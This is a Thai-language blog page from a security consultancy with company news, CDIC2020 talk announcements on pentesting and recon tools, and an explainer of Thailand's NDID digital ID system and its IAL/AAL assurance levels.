เมื่อวันอังคารที่ 6 เมษายน 2564 ตัวแทนบริษัท อินค็อกนิโตแล็บ จำกัด เข้าร่วมแสดงความยินดีกับ บริษัท แคนส์คอมมิวนิเคชั่น จำกัด ในโอกาสที่ได้รับรองมาตรฐาน ISO/IEC 27001:2013 เพื่อเน้นย้ำถึงการให้ความสำคัญด้านความปลอดภัยไซเบอร์
โดย บริษัท แคนส์คอมมิวนิเคชั่น จำกัด ภายใต้ บริษัท ครีเอเจอร์แลบ เน็ตเวิร์ก โซลูชั่นส์ จำกัด เน้นให้บริการโทรศัพท์ผ่านระบบเครือข่ายคลาวด์ รวมไปถึงการให้บริการออกแบบและติดตั้งโซลูชั่นส์ด้านเทคโนโลยีสารสนเทศและการสื่อสารโทรคมนาคมอย่างครบวงจร (System Integrator) ให้แก่ภาคธุรกิจ ด้วยคอนเซปต์ระบบสื่อสารอัดกระป๋อง (CANS) คือ การรวบรวมระบบโทรศัพท์ที่ยุ่งยากไว้ในที่เดียว ให้พร้อมใช้งานได้ทุกเมื่ออย่างง่ายดาย (Ready to use) เสมือนการเปิดกระป๋องที่พร้อมดื่มส่วนผสมอย่างลงตัว
สำหรับผู้ที่ต้องการพัฒนาองค์กรให้ได้รับมาตรฐานในระดับสากล อย่างเช่น ISO27001, ISO27701, ISO20000, ISO22301, PCI DSS สามารถติดต่อ Incognito Lab ได้ตามรายละเอียดด้านล่างครับ
{width="100%"}
# An untold story about web application vulnerability assessment
มาทำความรู้จักกับการทำ Web application VA ให้มากขึ้นกันนะครับ
เชื่อว่าหลาย ๆ คนที่เคยใช้ VA scanner มักจะตั้งค่า Scan ด้วยค่า Default เป็นส่วนใหญ่
ใน whitepaper ของเรานี้เราได้แชร์ทริคต่าง ๆ เพื่อให้ผลลัพธ์ของการ Scan แม่นยำมากขึ้น รวมถึงวิธีการที่ลดความเสี่ยงที่อาจจะเกิดขึ้นจากการ Scan ด้วยครับ
นอกจากนี้เราได้มีโอกาสทดสอบ Web application scanner หลาย ๆ ผลิตภัณฑ์ เราจึงนำข้อมูลมาทำการเปรียบเทียบให้พิจารณานะครับ โดยหัวข้อที่เรานำมาเปรียบเทียบ อาทิเช่น ตัวอย่างรายงาน, ความเร็วในการ scan, ประเด็นที่แต่ละ tool ที่ตรวจพบ เป็นต้น เผื่อใครที่กำลังหาเครื่องมือไว้ใช้ในองค์กร อาจจะลองดูไว้เป็นแนวทางเบื้องต้นครับ
ภาพด้านล่างเป็นข้อมูลการเปรียบเทียบของแต่ละผลิตภัณฑ์
{width="100%"}
# Cyber Defense Initiative Conference 2020
{width="100%"}
Infrastructure Penetration Test ไม่ว่าจะเป็น Internal Network Pentest ที่ทำการ deploy pentester ภายในเครือข่ายและ External Network Pentest ที่ทำการทดสอบจาก Internet ยังคงมีความสำคัญกับการตรวจประเมินความมั่นคงปลอดภัยขององค์กรในภาพรวม แม้ว่าทุกวันนี้จะมีบริการตรวจสอบเชิง Attack Surface Management หรือ Security Rating ที่ตรวจประเมินผ่าน category รูปแบบต่าง ๆ และแสดงผลให้เกรดออกมา เช่น SecurityScorecard, Upguard หรือ Randori
อย่างไรก็ตาม concept ของ Network Perimeter ปัจจุบันมีการเปลี่ยนแปลงอย่างรวดเร็ว ระบบที่ใช้งานภายในอาจจะไม่ได้อยู่ภายในเครือข่ายขององค์กรเสมอไป และระบบที่อยู่ภายนอกเครือข่ายหากถูก compromise แล้วอาจก่อให้เกิดผลกระทบให้ผู้โจมตีแทรกซึมเข้าไปในเครือข่ายภายในได้
Incognito Lab จึงขอเชิญทุกท่านร่วมรับฟังการบรรยายหัวข้อ "Attacking and Defending From Inside Out and Outside In" โดยคุณพรสุข กรกิตติชัย ในงาน CDIC2020 ซึ่งจะบรรยายในวันพุธที่ 25 พฤศจิกายน 2563 เวลา 9:00 ใน Innovation Tech Session - [https://www.cdicconference.com/agenda/](https://www.cdicconference.com/agenda/?fbclid=IwAR08rU%5FSuptTKfFyhqfpS7JLXJobEcsePZ0ESSQgU4oubMlzwpPLVQPvF0M){rel=""nofollow""}
โดยหัวข้อการบรรยายจะพูดถึงการโจมตี Domain Controller ด้วยวิธีการต่าง ๆ การขยายผลเพื่อโจมตี Cloud assets ในลักษณะ inside out และการโจมตี Cloud assets เพื่อขยายผลเข้าสู่เครือข่ายภายในองค์กรในลักษณะ outside in พร้อมทั้งคำแนะนำเมื่อต้องเจอกับ MFA (Multi-factor Authentication) และปิดท้ายด้วยวิธีการป้องกัน
ใครที่เข้าร่วม session นี้อย่าลืมตามหาทีมงาน Incognito Lab ด้วยนะครับ ทางเราจะเตรียม item พิเศษให้ แล้วพบกันครับ
{width="100%"}
Recon เป็น task ที่สำคัญก่อนการการเจาะระบบ การทำ Recon ไม่ใช่แค่การหา subdomain ที่เกี่ยวข้องกับ scope แล้วก็จบ ปัจจุบันมีเครื่องมือให้เลือกใช้เยอะมากทั้ง standalone tools หรือ framework แล้วแต่ความถนัดของคนใช้ ลองนึกภาพทีมนักเจาะระบบพยายามทำ Recon หาข้อมูลจากหลากหลายเครื่องมือ แล้วเอามากองรวมกันโดยที่ไม่ได้ถูกจัดระเบียบอย่างที่ควรจะเป็น จะพบว่าเวลาเอาไป process จะทำได้ไม่เร็วนัก ซึ่งนั่นก็คือ traditional way ในการทำ Recon
โชคดีที่มีกลุ่มคนที่พยายาม solve ปัญหาดังกล่าวอยู่และคิดว่า Recon ที่ควรเป็นจะต้อง integrate + organise ข้อมูลจากหลายแหล่งได้มากขึ้น มีความสามารถในการทำ automation และ continuous monitoring ซึ่งจะทำให้ scaling ได้ง่ายขึ้น และนั่นก็เป็นจุดเริ่มต้นของ ProjectDiscovery (ซึ่งในไม่ช้าเราก็คงจะได้มีโอกาสใช้เครื่องมือนี้) อย่างไรก็ตามทีมงานของ ProjectDiscovery ก็ใจดี ได้ทำการ share tools บางตัวที่ใช้ใน ProjectDiscovery ให้ community ได้ใช้งานกันก่อน ซึ่งกลุ่มเครื่องมือดังกล่าวก็เป็นที่นิยมในหมู่ Pentester และ Bug Bounty Hunter ด้วย
Incognito Lab จึงขอเชิญทุกท่านร่วมรับฟังการบรรยายในช่วง Live Show#02 - [https://www.cdicconference.com/agenda/](https://www.cdicconference.com/agenda/?fbclid=IwAR28LrW9DXnSXZtb%5Fuguogkvtmy6qan2ehws9-4u9CDtyrFykv1BUGwk1DA){rel=""nofollow""} หัวข้อ "RECON Arsenal - Introduce the Opensource of Internal tools used by ProjectDiscovery" ในงาน CDIC2020 ซึ่งจะจัดขึ้นในวันพุธที่ 25 พฤศจิกายน 2563 เวลา 14:00 เป็นต้นไปโดยคุณวิศรุต ลิ่มสุวรรณ ซึ่งปัจจุบันทำงานในตำแหน่ง Lead Penetration Tester ให้กับ Incognito Lab ผ่านการทดสอบการเจาะระบบทุกรูปแบบมาอย่างโชกโชน พร้อมทั้งได้รับการรับรองคุณสมบัติด้วย OSCE, OSCP, CREST CRT+CPSA, และ SANS GIAC GREM ใน session จะทำการบรรยายพร้อมกับสาธิตการใช้งานให้ทุกท่านรู้จักและพร้อมเอาไปประยุกต์ใช้หลังจากจบ session ได้ทันที อาจจะไม่ได้มีการ hack อะไรหวือหวาแต่เน้น educate ให้ทุกคนรู้ว่า modern Recon มันเป็นยังไง และระหว่าง Live Demo จะมีคุณพรสุข กรกิตติชัย Co-founder ของ Incognito Lab เป็นตัวแทนถามคำถามที่ทุกคนน่าจะอยากรู้อีกด้วย
---
**ใครที่เข้าร่วม session นี้อย่าลืมตามหาทีมงาน Incognito Lab ด้วยนะครับ ทางเราจะเตรียม item พิเศษให้ แล้วพบกันครับ**
# Digital ID from the Penetration Tester eye view
Digital Identity หรือ Digital ID คือ ตัวตนของแต่ละคนบนโลกดิจิทัล ซึ่งสามารถนำไปใช้เพื่อสมัครบริการต่าง ๆ หรือทำธุรกรรมไม่ว่าจะเป็นด้านการเงิน การศึกษา สวัสดิการภาครัฐ และภาคเอกชนได้สะดวกยิ่งขึ้น
การนำตัวตนดิจิทัลเข้ามาใช้จะช่วยลดความซับซ้อน ขจัดเงื่อนไขของการที่ผู้ให้บริการทั้งภาครัฐและภาคเอกชนเองก็ดี หรือผู้สมัครใช้บริการทั้งบุคคลธรรมดาและนิติบุคคลเองก็ดี จากปกติที่ต้องคอยแสดงเอกสารเพื่อยืนยันตัวตนให้กับเจ้าหน้าที่ของผู้ให้บริการดำเนินการตรวจสอบ ซึ่งอาจจะใช้ทั้งเวลาที่มากกว่า และยังเป็นไปได้ที่จะเกิด Human error ขึ้น หากสมัคร 10 บริการ ก็อาจต้องทำซ้ำไปซ้ำมาแบบนี้ถึง 10 รอบ เปลี่ยนเป็นวิธีการใช้เทคโนโลยีเข้ามาช่วย สร้างตัวตนดิจิทัลขึ้นมาเพียงครั้งเดียว และนำไปใช้ได้กับทุกบริการที่เข้าร่วม ผ่านช่องทางออนไลน์ สามารถดำเนินการเมื่อไหร จากที่ไหนก็ได้ ทั้งช่วยประหยัดเวลาและสะดวกสบายขึ้นอย่างมาก
อย่างไรก็ตาม การนำตัวตนดิจิทัลมาใช้เองก็อาจสร้างผลเสียได้หากผู้ออกแบบหรือผู้พัฒนามันขึ้นมาไม่ได้เข้าใจในบริบท และคุณสมบัติที่ต้องมีของตัวตนดิจิทัลที่ปลอดภัย เหมาะสม ก็อาจก่อให้เกิดการปลอมแปลงตัวตนดิจิทัลขึ้น เกิดบุคคลที่ไม่มีอยู่จริงบนโลกใบนี้ หรือสามารถแอบอ้างเป็นบุคคลอื่น ซึ่งสามารถสร้างความเสียหายให้กับผู้ให้บริการที่เกี่ยวโยงกับตัวตนดิจิทัลปลอมดังกล่าวได้อย่างคาดไม่ถึง ยกตัวอย่างเช่น หากมีใครสักคนสามารถสมัครใช้บริการอะไรบางอย่าง ในชื่อของบุคคลที่ไม่มีอยู่จริงบนโลกใบนี้ แล้วค่าใช้บริการ รายจ่ายที่เกิดขึ้น ผู้ให้บริการจะสามารถเรียกเก็บจากใคร…?
Digital ID หรือตัวตนดิจิทัล ไม่ได้พึ่งเกิดขึ้น แต่ถูกพัฒนาและริเริ่มนำมาใช้แล้วในหลายประเทศทั่วโลก อาทิ จีน อินเดีย สหราชอาณาจักร สหรัฐอเมริกา รัสเซีย สิงคโปร์ และประเทศอื่น ๆ อีกมากมาย แน่นอนว่าประเทศไทยเองก็ริเริ่มทำ Digital ID มาหลายปีแล้วเหมือนกันในชื่อของ National Digital ID หรือ NDID นั่นเอง
## NDID คือใคร ทำอะไร
National Digital ID หรือ NDID (อ่านออกเสียงว่า เอ็น-ดี-ไอ-ดี) คือ แตกต่างจากวิธีปกติที่เวลาจะสมัครหรือทำธุรกรรมแต่ละทีก็จะต้องมีสำเนาบัตรประจำตัวประชาชนบ้าง หรือต้องเอาบัตรประจำตัวประชาชนตัวจริงมาแสดงต่อพนักงานบ้าง ซึ่งการนำตัวตนดิจิทัลเข้ามาใช้จะช่วยลดความซับซ้อนหรือขจัดเงื่อนไขตรงนี้ออกไปได้
NDID เป็นทั้งชื่อบริการและชื่อบริษัท (บริษัท เนชั่นแนลดิจิทัลไอดี จำกัด) ที่คอยกำกับดูแลบริการในชื่อ NDID ในการนำตัวตนดิจิทัลนี้มาใช้งานจริงได้
เว็บไซต์ทางการของ NDID ได้อธิบายแบบลงเนื้อหาทั้งภาพและวิดีโอประกอบให้เข้าใจได้ง่าย สำหรับท่านใดที่สนใจ สามารถศึกษารายละเอียดได้จากเว็บไซต์ทางการของ NDID ([https://www.ndid.co.th](https://www.ndid.co.th/){rel=""nofollow""})
## NDID ทำงานอย่างไร
กระบวนการยืนยันตัวตนผ่านระบบของ NDID ประกอบไปด้วย 4 ตัวละคร ซึ่งอ้างอิงตาม "นิยาม" ที่ทาง NDID กำหนดเอาไว้ ได้แก่
1. "ลูกค้า" หมายถึง บุคคลทั่วไปที่ใช้บริการกับสมาชิก
2. "สมาชิก" นิติบุคคลใด ๆ ที่มีนิติสัมพันธ์ กับ NDID มี 3 ประเภท
- ผู้ให้ข้อมูลที่น่าเชื่อถือ ("Authoritative Source" หรือ "AS") หมายถึง นิติบุคคลหรือหน่วยงานที่มีข้อมูลส่วนบุคคลที่น่าเชื่อถือของผู้ขอใช้บริการ (ลูกค้า)
- ผู้พิสูจน์และยืนยันตัวตน ("Identity Provider" หรือ "IdP") หมายถึง นิติบุคคลหรือหน่วยงานซึ่งมีหน้าที่พิสูจน์และยืนยันตัวตนของผู้ขอใช้บริการ (ลูกค้า)
- ผู้ให้บริการ ("Relying Party" หรือ "RP") หมายถึง นิติบุคคลหรือหน่วยงานซึ่งเป็นผู้ให้บริการที่จำเป็นต้องมีการพิสูจน์และยืนยันตัวตนของผู้ขอใช้บริการ (ลูกค้า) ก่อนการให้บริการ
> ที่มา: {rel=""nofollow""}
{width="100%"}
ความสัมพันธ์ระหว่าง 4 ตัวละครกับ NDID ({rel=""nofollow""})
จากแผนภาพดังกล่าว เริ่มต้นจาก
1. ลูกค้าของ RP ประสงค์จะเปิดใช้บริการใหม่ บนระบบของ RP โดยปฏิบัติตามขั้นตอนของระบบ RP ที่ออกแบบมาและผ่านการตรวจสอบรับรองจาก NDID แล้ว ก่อนการให้บริการ
2. ลูกค้าเลือก IdP จากบนระบบ RP เพื่อทำการยืนยันตัวตน
3. ระบบ RP ทำการร้องขอไปยัง IdP ที่ลูกค้าเลือกในขั้นตอนที่ 2 ผ่าน NDID Platform (Blockchain)
4. IdP ส่งคำร้องขอยืนยันตัวตนไปยัง
- Mobile Banking ที่ลงทะเบียนไว้ สำหรับลูกค้าแต่ละราย หลังจากนั้น
- ลูกค้าเข้าสู่ระบบ IdP ด้วย PIN หรือ Security ตามที่ IdP กำหนดไว้ และอาจจะ (ขึ้นกับ RP ร้องขอ)
- ถ่ายรูปตนเอง (Selfie) เพื่อทำการเปรียบเทียบกับภาพตนเองตอนที่ทำการพิสูจน์ตัวตนครั้งแรกที่จุดบริการ IdP
5. RP ได้รับสถานะของการยืนยันตัวตน และส่งคำร้องขอข้อมูลไปยัง AS ต่อมา AS ทำการตรวจสอบสถานะการยืนยันตัวตนบนระบบ NDID Platform
6. AS ส่งข้อมูลกลับไปยัง RP นอก NDID Platform (การส่งข้อมูลนี้ออกแบบระบบ และมีการเข้ารหัสข้อมูลแบบ PKI โดย NDID)
7. RP ให้ลูกค้ากรอกข้อมูลเพิ่มเติม ตรวจสอบความถูกต้องอีกครั้ง และเปิดบริการให้กับลูกค้าได้เลย
> ที่มา: {rel=""nofollow""}
สาเหตุที่ทาง NDID นำเทคโนโลยี Blockchain เข้ามาใช้นั้นมีเหตุผลหลักเพื่อรองรับการเพิ่มขึ้นของข้อมูลจำนวนมหาศาลในอนาคต ให้ระบบยังคงสามารถทำงานต่อได้โดยปราศจากเหตุขัดข้องที่มาจากระบบเอง
เพื่อหลีกเลี่ยงความเป็นไปได้ที่ข้อมูลส่วนบุคคลของผู้ใช้จะรั่วไหลผ่านกระบวนการ NDID นี้ ขั้นตอนที่ AS ส่งข้อมูลส่วนตัวของลูกค้ากลับไปให้ RP จึงเป็นการส่งแบบ Off channel ที่ไม่ได้ผ่าน network ของ NDID Platform กล่าวคือ จะไม่มีการส่งข้อมูลส่วนตัวของผู้ใช้งานผ่าน Blockchain network ที่เป็นแบบนั้นก็เพราะว่าคุณสมบัติหนึ่งของ Blockchain นั้นคือ Distributed Ledger หรือข้อมูลทั้งหมดจะถูกเก็บแบบกระจายอยู่บน Node ต่าง ๆ ในเครือข่ายทำให้ยากต่อการลบหรือทำลายข้อมูล จึงเป็นสาเหตุที่ต้องหลีกเลี่ยง แต่ช่องทางที่ AS และ RP ใช้เพื่อรับส่งข้อมูลนั้นก็จะต้องเป็นช่องทางที่ปลอดภัย ได้มาตรฐานตามที่ NDID กำหนดเอาไว้
> ข้อมูลส่วนบุคคลที่ส่งระหว่างสมาชิก จะส่งผ่านนอก NDID Platform ระหว่างผู้รับและผู้ส่งเท่านั้น ด้วยมาตรฐานและความปลอดภัยตามที่ NDID ออกแบบให้ (Distributed PKI)
> ที่มา: {rel=""nofollow""}
## หน้าที่และความรับผิดชอบ
- ลูกค้า มีหน้าที่ให้ข้อมูลกับ RP เพื่อใช้ยืนยันตัวตน และทำการยืนยันความต้องการที่จะมอบข้อมูลส่วนตัวให้เสร็จ ผ่าน IdP ซึ่งก็คือบริการที่ลูกค้าเคยผ่านการสมัครใช้บริการมาแล้ว ซึ่งบริการดังกล่าวเข้าร่วมเป็นสมาชิกกับ NDID
- RP ถึงแม้ว่าจะอาศัยข้อมูลของลูกค้าจาก IdP และ AS อีกทีก็ตาม แต่ในฐานะ RP เองก็จำเป็นที่จะต้องมีกระบวนการตรวจสอบความถูกต้องขั้นต้น ว่าข้อมูลที่ลูกค้ากรอกเข้ามาเพื่อสมัครใช้บริการนั้นไม่ใช่ข้อมูลที่ปลอมขึ้นมา จะต้องเป็นข้อมูลจริงซึ่งอาจจะเป็นของลูกค้าเองหรือเป็นของผู้อื่นก็ได้ (การยืนยันเจ้าของข้อมูลจะเป็นหน้าที่ของ IdP เป็นหลัก) และกระบวนการของ RP เองจะต้องผ่านการตรวจสอบและรับรองโดย NDID ก่อนจึงจะเปิดให้บริการได้
- IdP คือผู้ทำหน้าที่หลักในการตรวจสอบว่าข้อมูลที่ได้มาต้อง (1)ระบุหาตัวบุคคลได้เพียงบุคคลเดียว (ถ้าได้หลายคนแปลว่าข้อมูลที่มียังไม่เพียงพอ) (2)เป็นของแท้ ข้อมูลในเอกสารถูกต้องทุกตัวอักษร ซึ่งหมายรวมถึงช่องทางการติดต่อ (เบอร์โทรศัพท์ หรืออีเมล) จะต้องใช้เพื่อติดต่อได้อยู่ และ (3)เป็นข้อมูลของบุคคลที่มีตัวตนอยู่จริง ซึ่งตัวตนดังกล่าวกับลูกค้าที่เป็นผู้ให้ข้อมูลต้องเป็นคนเดียวกันด้วย
- AS มีหน้าที่ในการส่งข้อมูลส่วนตัวของลูกค้าให้กับ RP ภายหลังจากลูกค้าผ่านการตรวจสอบจาก IdP แล้ว ซึ่ง AS จะต้องเก็บรักษาข้อมูลส่วนตัวของผู้ใช้งานให้ปลอดภัยทั้งในการจัดเก็บ และช่องทางที่ใช้ในการส่งข้อมูลให้กับ RP เช่นกัน
จะเห็นว่า ตัวละครที่รับหน้าที่หลักในการตรวจสอบและยืนยันความถูกต้องของลูกค้าคือ IdP ซึ่งในการตรวจสอบความถูกต้องสมบูรณ์ของข้อมูลลูกค้าโดย IdP นั้นก็มีการอ้างอิงตามมาตรฐานที่เรียกว่า IAL และ AAL เพื่อให้สามารถตรวจสอบและยืนยันความถูกต้อง แท้จริง ของข้อมูลได้อย่างแม่นยำ
## มาตรฐาน IAL และ AAL
IAL (Identity Assurance Level) และ AAL (Authenticator Assurance Level) คือมาตรฐานที่ถูกนำมาใช้งานสำหรับการยืนยันตัวตนเพื่อสร้างตัวตนดิจิทัล (Digital Identity)
มาตรฐาน IAL จะเกี่ยวกับการควบคุมการสมัคร (Enrollment) ให้มีความรัดกุมในเรื่องของเอกสาร และการตรวจสอบความถูกต้องของเอกสารเหล่านั้น ส่วน AAL จะเกี่ยวกับการควบคุมการยืนยันตัวตน (Authentication) ให้มีความรัดกุมในเรื่องของการระบุและยืนยันตัวผู้ทำรายการ ให้โอกาสระบุตัวตนผิดพลาด หรือการสวมรอยตัวตนเกิดขึ้นได้ยาก
IAL และ AAL ถือมาตรฐานที่เป็นหัวใจหลักของการยืนยันตัวตน ไม่ว่าจะระบบใดก็ตาม สามารถนำมาตรฐาน IAL และ AAL ตามระดับ Level ต่าง ๆ ตามที่ต้องการมาปรับใช้เพื่อให้ขั้นตอนการยืนยันตัวตนมีความรัดกุม ถูกต้อง แม่นยำ เพื่อมั่นใจได้ว่าข้อมูลส่วนบุคคลของผู้ใช้งานที่ได้มาจากขั้นตอนดังกล่าวเป็นข้อมูลจริงที่สามารถเชื่อถือได้
สำหรับ NDID มีการกำหนดให้ใช้มาตรฐาน IAL และ AAL ขั้นต่ำอยู่ที่ IAL ระดับ 2.3 และ AAL ระดับ 2 โดยจะขอลงรายละเอียดเฉพาะระดับที่เกี่ยวข้องเท่านั้น ส่วนของระดับอื่น ๆ มีการกำหนดหรือบังคับอะไรบ้างสามารถดูได้จาก Infographic และเอกสารที่จัดทำโดย ETDA ด้านล่าง
{width="100%"}
Infographic: IAL และ AAL โดย ETDA ({rel=""nofollow""})
เอกสารแนะนำ IAL อย่างละเอียดโดย ETDA: {rel=""nofollow""}
เอกสารแนะนำ AAL อย่างละเอียดโดย ETDA: {rel=""nofollow""}
## IAL 2.3 ต้องทำอะไรบ้าง
สำหรับ IAL 2.3 นั้น ผู้สมัครใช้บริการจะต้องแสดงข้อมูลตามที่กำหนดให้กับผู้ให้บริการตรวจสอบความถูกต้อง แม่นยำ และจัดเก็บ โดยแบ่งออกเป็น 4 ข้อหลัก ๆ ได้แก่
1. ผู้สมัครใช้บริการจะต้องทำรายการด้วยตัวเอง โดยไม่จำเป็นต้องพบเห็นต่อหน้าก็ได้ หมายความถึงช่องทางหรือวิธีการใด ๆ ที่ผู้ให้บริการมีรองรับให้สำหรับผู้ใช้บริการ ต้องสามารถใช้ยืนยันได้ระหว่างทำรายการว่าผู้สมัครใช้บริการที่มาทำรายการอยู่นั้นเป็นบุคคลเดียวกับข้อมูลที่นำมาแสดงตัวตน โดยไม่จำเป็นต้องมีเจ้าหน้าตรวจสอบหรือสังเกตการณ์ตลอดการทำรายการ (สำหรับ IAL ระดับที่ 3 จะบังคับว่าต้องมีเจ้าหน้าที่เข้ามาเกี่ยวข้องด้วย) ตัวอย่างที่มักพบเห็นมากที่สุดคือ การเปิดให้ยืนยันตัวตนผ่านตู้ Kiosk หรือ แอปพลิเคชันมือถือ หรือเว็บไซต์ เพื่อเพิ่มความสะดวกสบายให้กับผู้ใช้บริการนั่นเอง ส่วนสำหรับวิธีที่ว่าหากทำผ่านช่องทางออนไลน์แล้วจะตรวจสอบได้อย่างไรว่าผู้สมัครใช้บริการกับข้อมูลที่ระบุคือคนคนเดียวกันนั้น สามารถใช้ข้อมูลในข้ออื่น ๆ มาพิจารณาเพื่อสรุปตรงนี้ได้ครับ
2. ข้อมูลเท่าที่จำเป็นที่สามารถใช้ระบุตัวบุคคลได้ โดยผู้ให้บริการจะต้องขอข้อมูลเท่าที่จำเป็นเท่านั้น ห้ามมีการขอข้อมูลอื่นใด ที่ไม่เกี่ยวข้องหรือไม่มีความจำเป็นต่อการใช้ระบุตัวบุคคลเด็ดขาด เพราะอาจผิด พ.ร.บ คุ้มครองข้อมูลส่วนบบุคคล (PDPA) ได้ ซึ่งสิ่งที่ถูกเลือกนำมาใช้งานมากที่สุดมักจะไม่พ้น บัตรประจำตัวประชาชน เพราะเป็นเอกสารที่ไม่ว่าประเทศใด ๆ ก็ตามใช้เพื่อยืนยันตัวตนประชาชนของประเทศนั้น ๆ อยู่แล้ว นอกจากนี้บัตรประจำตัวประชาชนของประเทศไทยก็เป็น Smart Card ด้วย หมายถึงมีชิปที่เก็บข้อมูลทั้งหมดที่แสดงบนบัตรเอาไว้อยู่ ทั้งชื่อ นามสกุล วันเกิด รูปถ่าย ทั้งหมดล้วนถูกเก็บเอาไว้ในชิป สามารถใช้ Smart Card Reader มาใช้เพื่ออ่านข้อมูลออกไปได้ทันที และด้วยวิธีนี้จะถือว่ามีความแม่นยำสูงเพราะการใช้บัตรประจำตัวประชาชนเป็นเอกสารเพียงชิ้นเดียวก็ได้ข้อมูลมากเพียงพอที่สามารถใช้เพื่อระบุตัวตนได้ทันที เมื่อเทียบกับเอกสารชิ้นอื่น ๆ ที่มักถูกหยิบมาใช้อยู่บ้าง อาทิ ใบขับขี่ ทะเบียนบ้าน เอกสารสมรส เอกสารเปลี่ยนชื่อ เป็นต้น
3. ต้องมีการยืนยันและเปรียบเทียบข้อมูลชีวมิติ (Biometric) ของผู้สมัครใช้บริการว่ามีความสอดคล้องหรือตรงกันกับบุคคลเจ้าของข้อมูลที่นำมาใช้อ้างหรือไม่ โดยไม่จำกัดว่าจะเป็นการยืนยันข้อมูลชีวมิติส่วนใด ตัวอย่างที่มักพบเห็นได้บ่อยที่สุดคือการยืนยันรูปถ่ายใบหน้าตรง เนื่องด้วยการทำธุรกิจที่ต้องการความปลอดภัยสูงมักบังคับให้แสดงบัตรประจำตัวประชาชนอยู่แล้ว และบนบัตรประจำตัวประชาชนเองก็มีรูปถ่าย ณ วันเวลาที่ออกบัตรถูกบันทึกเอาไว้อยู่ ดังนั้นการเปรียบเทียบใบหน้าปัจจุบันกับใบหน้าจากรูปบนบัตรประจำตัวประชาชนจึงเป็นวิธีที่สามารถทำได้ง่ายที่สุดนั่นเอง สำหรับวิธีอื่นที่เคยพบเห็นอยู่บ้างแต่ไม่บ่อยนักก็คือ การสแกนและเปรียบเทียบลายนิ้วมือ (Fingerprint) และ การสแกนและเปรียบเทียบม่านตา (Retina) ทั้งนี้ การจะเลือกใช้การเปรียบเทียบข้อมูลชีวมิติใด ๆ จะต้องคำนึงถึงความสามารถในการตรวจสอบด้วยว่าระบบหรือซอฟต์แวร์ที่ใช้ในการเปรียบเทียบมีความแม่นยำมากน้อยแค่ไหน และได้มาตรฐานหรือไม่ รวมถึงที่มาของข้อมูลชีวมิติที่นำมาใช้เปรียบเทียบกับถูกนำมาจากแหล่งที่มีความน่าเชื่อถือมากน้อยเพียงใด
4. ช่องทางการติดต่อต้องสามารถติดต่อหาผู้สมัครใช้บริการได้จริง สำหรับ IAL ระดับ 2 ขึ้นไป มีการบังคับให้ขอข้อมูลการติดต่อกับผู้สมัครใช้บริการ และตรวจสอบยืนยันด้วยว่าข้อมูลการติดต่อที่ผู้สมัครใช้บริการระบุมานั้นสามารถยืนยันว่าเป็นของเจ้าตัวได้จริง ซึ่งในสมัยนี้ช่องทางการติดต่อที่สามารถเหมารวมได้ว่าทุกคนจะต้องมีคือเบอร์โทรศัพท์มือถือ และอีเมล ทำให้ 2 ช่องทางนี้มักถูกนำมาใช้เพื่อยืนยันช่องทางการติดต่ออยู่เสมอ อีกทั้งยังเป็นช่องทางตรวจสอบได้ง่าย ใช้เวลาไม่นาน เมื่อเทียบกับช่องทางอื่น ๆ เช่น ที่อยู่ปัจจุบัน หรือ บัญชี Social Media เป็นต้น อย่างไรก็ตามข้อมูลในส่วนนี้ไม่ได้มีการบังคับว่าช่องทางการติดต่อจะต้องเป็นของผู้สมัครใช้บริการเท่านั้น ผู้สมัครอาจนำข้อมูลการติดต่อของใครมาก็ได้ เพียงแค่ต้องสามารถยืนยันได้ว่าผู้สมัครสามารถเข้าถึงช่องทางดังกล่าวได้ ตรงนี้จึงไม่จำเป็นต้องเข้มงวดมากนักกับการยืนยันเรื่องของความเป็นเจ้า
## AAL 2.1 และ 2.2 ต้องทำอะไรบ้าง
ในขณะ IAL มุ่งเน้นไปที่ความเข้มงวดในเรื่องของความถูกต้อง แม่นยำ ของหลักฐานหรือเอกสารที่ใช้แสดงตัวตนว่าจะต้องระบุได้ถึงบุคคลเพียงคนเดียวที่มีตัวตนอยู่จริงบนโลก มาตรฐาน AAL จะมุ่งเน้นไปที่การยืนยันตัวตนของผู้ที่ทำรายการกับเจ้าของข้อมูลที่ผ่านการตรวจสอบตามมาตรฐาน IAL นั้นคือบุคคลคนเดียวกัน หรือก็คือระบบต้องสามารถยืนยันได้อย่างชัดเจนว่าลูกค้าที่กำลังทำรายการคือเจ้าของข้อมูลส่วนตัวที่แอบอ้างจริง ๆ โดย AAL ระดับที่ 2 นั้นบังคับให้การยืนยันตัวตนจะต้องใช้มากกว่า 1 ปัจจัย
การทำ AAL นั้นเปรียบเทียบง่าย ๆ คือมีหลักการคล้ายกับ Authentication mechanism ที่แบ่งออกเป็น 2 ขั้นคือ Identification และ Authentication ซึ่งพิจารณาจากปัจจัยที่แบ่งออกเป็น 3 ประเภทคือ
1. สิ่งที่คุณรู้ (something you know/knowledge-based) เช่น รหัสลับจดจำหรือก็คือรหัสบางอย่างที่มีแต่เราที่รู้ (memorized secret) ตัวอย่างที่เห็นได้บ่อยคือ PIN, username กับ password ตอบคำถาม(ที่เคยตั้งคำตอบเอาไว้ในระบบ)
2. สิ่งที่คุณมี (something you have/possession-based) เช่น บัตรคลื่นแม่เหล็กไฟฟ้า อุปกรณ์สำหรับรับ OTP ซึ่งส่วนใหญ่ใช้อุปกรณ์มือถือ อุปกรณ์สร้าง OTP อุปกรณ์หรือซอฟต์แวร์เข้ารหัสลับ (cryptographic key) เป็นต้น
3. สิ่งที่คุณเป็น (something you are/inherence-based) เช่น ม่านตา ลายนิ้วมือ ใบหน้า เสียง เป็นต้น
จากที่กล่าวไปว่า AAL ระดับที่ 2 บังคับให้ต้องใช้อย่างน้อย 2 ปัจจัยขึ้นไป โดยมีเงื่อนไขว่า
- 1 ในปัจจัยที่เลือกใช้ต้องเป็น something you have กล่าวคือ ไม่สามารถใช้ something you know + something you are ได้นั่นเอง
- 1 ในปัจจัยที่เลือกใช้ต้องป้องกันการถูกใช้ซ้ำ (replay attack) ด้วย หรือก็คือ ต้องใช้ได้ครั้งเดียว ห้ามนำกลับมาใช้ใหม่ได้
เมื่อพิจารณาจากเงื่อนไขทั้ง 2 แล้วจะเห็นว่าระบบส่วนใหญ่จึงมักที่จะเลือกใช้งาน One Time Password (OTP) มาเป็น 1 ในปัจจัยนี้นั่นเอง เพราะ OTP นั้นจัดอยู่ในปัจจัย something you have แถมตามคุณสมบัติแล้วก็สามารถใช้ได้ครั้งเดียว
